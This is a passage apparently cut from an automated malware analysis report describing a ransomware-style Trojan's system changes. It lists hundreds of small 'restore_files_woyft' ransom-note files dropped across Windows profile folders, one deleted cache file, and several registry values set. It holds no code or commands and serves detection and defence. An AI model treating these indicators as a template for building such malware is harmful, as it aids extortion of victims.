%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12624 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\brndlog.txt (436 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (1157 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
C:\totalcmd\REGISTER.RTF (421 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel4.xls (419 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (15 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (1181 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (0 bytes)

Registry activity

The process %original file name%.exe:1616 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 76 DC 8F 36 D0 70 86 1F F9 53 44 1D C6 6D D8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"
